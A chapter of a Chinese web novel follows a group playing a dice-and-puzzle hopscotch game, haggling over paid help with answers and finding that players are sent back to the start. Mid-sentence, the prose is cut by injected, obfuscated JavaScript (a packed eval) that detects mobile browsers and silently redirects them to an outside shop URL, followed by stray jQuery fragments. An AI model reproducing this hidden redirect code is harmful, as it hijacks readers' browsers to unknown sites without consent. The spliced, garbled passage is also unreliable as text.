五人组留在这块石头上的原因没有别的,就是因为有道题他们算出来两个答案。五个人算出来了两个答案,谁也不敢说哪个答案是对的。
五个人在沈祈三人到之前就已经讨论了半天,现在还在争论答案,越争论越激动,嗓门也越来越大,又怕被沈祈听见,压着声音吵,脸都憋红了,脖子上的青筋一跳一跳的,像是随时会炸开。
有人指着地面上的题目,手指戳得咚咚响,就连题目都要戳没了;有人抱着胳膊别过头去,嘴唇抿成一条线,一副不肯让步的样子;还有人坐在地上,拿手指在灰里画来画去,画了擦,擦了画,画了半天也没画出个所以然来。
他们依旧不知道哪个答案是对的,也不敢贸然提交答案。面板上的空格空着,题目在眼前晃,时间一点一点过去,谁也不敢先动。有人清了清嗓子,将注意力全部吸引了过去,他指了一下坐在沈祈旁边的钱良俊。
钱良俊很聪明,他算的答案一定是正确的。于是五人都将目光放在了钱良俊身上,他们免不了想找钱良俊帮忙。
几个人推推搡搡,你推我我推你,胳膊肘撞来撞去,撞得差点单脚都没站稳。最后还是那个代表被推了出来,他踉跄了一步才站稳,回头瞪了身后的人一眼,又赶紧把表情收回来,换成一副笑脸。
他单脚蹦到钱良俊面前,弯了弯腰,脸上堆着笑,笑得嘴角都快扯到耳根了,声音放得很低,像是怕被沈祈听见。他先是寒暄了一句“兄弟辛苦了”,然后才吞吞吐吐地把那道题说出来,问钱良俊能不能帮忙看看。说话的时候两只手不停地搓着,指节都搓红了,生怕钱良俊会拒绝。
他们还有个打算,就是等钱良俊帮他们回答出问题后,他们可以一路跟着沈祈三人往前走。只要能一起,就不愁找不到钱良俊帮忙解题。反正他们只是和沈祈合作中止了,但和钱良俊的合作可以随时开始。
这算盘打得噼啪响,钱良俊却皱起了眉。他下意识回头看了一眼沈祈,沈祈正闭着眼,背靠着虚空坐着,像是睡着了,又像是在想别的事。钱良俊收回目光,看着面前那张堆笑的脸,一时不知道该答应还是该拒绝。
这些人压低声音害怕沈祈知道,但沈祈的耳朵钱良俊已经见识过了,那么一点小声音只要她想她就能听到。钱良俊想了想,还是打算拒绝,正准备说话的时候,面前的人却压低了嗓子,凑近了一步,几乎贴到钱良俊耳边,说道:“你帮我们解题,我们在之前的交易程度上再给你加一倍报酬。”
之前他们交易的是一道题二十灵币,加一倍就是一道题是四十灵币。四十灵币省着点用可以用很久,而且灵币这东西只能售卖分数和灵器获得。
别看钱良俊手里的灵器有那么几件,其实他在零域里是个穷鬼,他全身上下除了分数和灵器,灵币几乎没有。
他伸手摸着储物包里那几十个灵币,这是他之前几块石头挣的,他摸来摸去还是那几十个,叮当响几声就没了。
之前本来钱良俊也是看在大家是一个小队,虽然是临时的,解答一道题给二十灵币算是很优惠了。钱良俊指尖在包口捏了捏,捏得指腹都发了白,心一狠,还是打算拒绝。虽然沈祈说的她不会计较五人组离开她的这件事,双方也是友好中止合作,但是现在他们已经不是一个队伍了,帮其他队伍可不就是背叛沈祈吗?
“帮他们解。”沈祈坐在地上,眼睛眯着,看似没关注钱良俊,实际上什么都听到了。她的耳朵微微动了一下,像是风里飘过什么动静,连五人组那边谁咽了口唾沫都听得一清二楚。
沈祈觉得能挣灵币的事为什么不同意,反正钱良俊的脑子那么好用,这时不挣灵币什么时候挣灵币?她心里算得清楚,钱良俊出力,灵币到手,两全其美的事,不干白不干。
有了沈祈的首肯,钱良俊自然接下了这个活。他很快就算出了答案,石子在石面上划了几下,数字和符号排得整整齐齐,像一排小蚂蚁。四十灵币也到手,堆在一起看起来像座闪闪发光的小山一样。
不过他将到手的四十灵币全部捧在手心,递到沈祈面前。“大佬,这些灵币给您。”他的手摊得很平,灵币在掌心泛着微光,像一小捧碎银子,映得他的掌纹都亮了起来。
沈祈睁眼看了一眼这些灵币,有一点点心动,但不多,毕竟她和天道大老爷吃饭都用了几百灵币,这四十灵币不算很多。不过她手里总共也就只有九千多灵币,九千多,看着不少,可真要花起来,也就是几顿饭几件衣服的事,花完就没了。
“你自己答题得到的灵币,你自己收着吧。”目前来看沈祈还不缺灵币,用不着拿别人的那点点灵币。她挥了挥手,像是在赶一只小虫子,手腕动了一下就收回去了。
在沈祈的默认下,五人组跟着沈祈三人一路往前走。石头没有想象中的那么多,每个人最多投掷骰子五六次也就差不多能看到“房子”顶点了。“房子”的顶点越来越清晰,仔细一看和石头差不多,只不过上面能看到一座房子尖尖,让人一看就知道那是“房子”的顶点。
当他们离“房子”顶点只剩下五块石头的时候,五人组有人需要摇骰子。那人摇了个几没有人知道,只知道他说完摇骰子的下一秒,整个人就消失在石头上。没有声音,没有光,连一点风都没有带起来,人就像是被人从画里擦掉了一样,干干净净地没了,连脚下的灰都没动一下。
沈祈三人组并没有注意五人组少没少人。钱良俊和宋智安在算题,头挨着头,两个人谁也没空抬头。倒是五人组的另外四人开始恐慌,脸色一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947901|209125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个比一个白,像被人抽了血。他们将这人消失的事告知了沈祈,声音发颤,你一句我一句,说得乱七八糟,前言不搭后语。
只有沈祈一个人没有事。她坐在地上,百无聊赖,听到四人的话后反问道:“你们之中少了个人来找我干什么?我是能帮你们把人找回来还是怎么的?”
“大佬,您一定有办法的,您帮帮我们,好吗?”那代表往前迈了一步,腰弯得更低了,声音里带着哀求,眼眶都红了。
沈祈姿势不变,语气淡漠:“帮不了,我们的合作早就中止了。离我远点,别在我耳边啰唆,我不想听。”她说完便闭上眼睛,像是连看都懒得再看他们一眼,下巴微微抬着,一副拒人千里的姿态。
钱良俊一边算题一边三心二意地听他们的对话。他觉得很奇怪,明明之前摇骰子都没人消失,怎么反而快要到终点了,摇骰子的人还会消失啊。
他手里的石子停在半空,眉头拧成了一个结,石子在石面上戳了一个小点。只不过他想了半天都没有想出个所以然来,只好又把注意力放回题目上,继续划拉他的数字。
在还剩三块石头的时候,轮到沈祈重新摇骰子了。她摇了四,骰子停下的那一瞬间,她身边的场景变了,速度很快,连沈祈都没反应过来。眼前的石头、人、光,像是被人一把扯掉了幕布,再一晃眼,已经换了天地。风声、呼吸声、全部断掉,取而代之的是一片死寂。
沈祈现在所在的地方她记得,这里是她们游戏开始的地方,前面是一号石头。石头还是那块石头,灰白色的石面,空旷的四周,远处的“房子”又变得遥不可及,顶端的尖角缩回了雾里。
她一脚踹向一号石头,脚底传来闷闷的一声响,一号石头纹丝不动,连点灰都没掉。前面的三号石头上站了个人,那个人是五人组里刚刚消失的那个人。他站在那儿,比沈祈先到一步,已经重新开始又走到了三号石头上。
沈祈也算是看明白了,快要到达“房子”顶点的时候,只要骰子的点数大于剩余的点数,他们立马就会回到起点重新开始。可能只要点数比剩余的石头少或者刚好,才有可能到达“房子”顶点,到最后,恐怕只有骰子点数刚好合适才能到“房子”顶点。
现在这里只有她一个人,她要怎么才能回答出所有的问题?这肯定是不可能的事,除非她再找两个聪明的人帮她。
沈祈有一种被耍了的感觉,她不想再玩这跳房子的破游戏了。胸口堵着一口气,上不去也下不来,闷得她只想拿刀砍点什么。
既然上面她走不通,那她就走下面,她就不信她还到不了“房子”顶点了。她握紧唐刀,刀鞘在掌心硌出一道印子。目光从石头移开,落在石头边缘之外的虚空里,像是要从那里找出一条路来。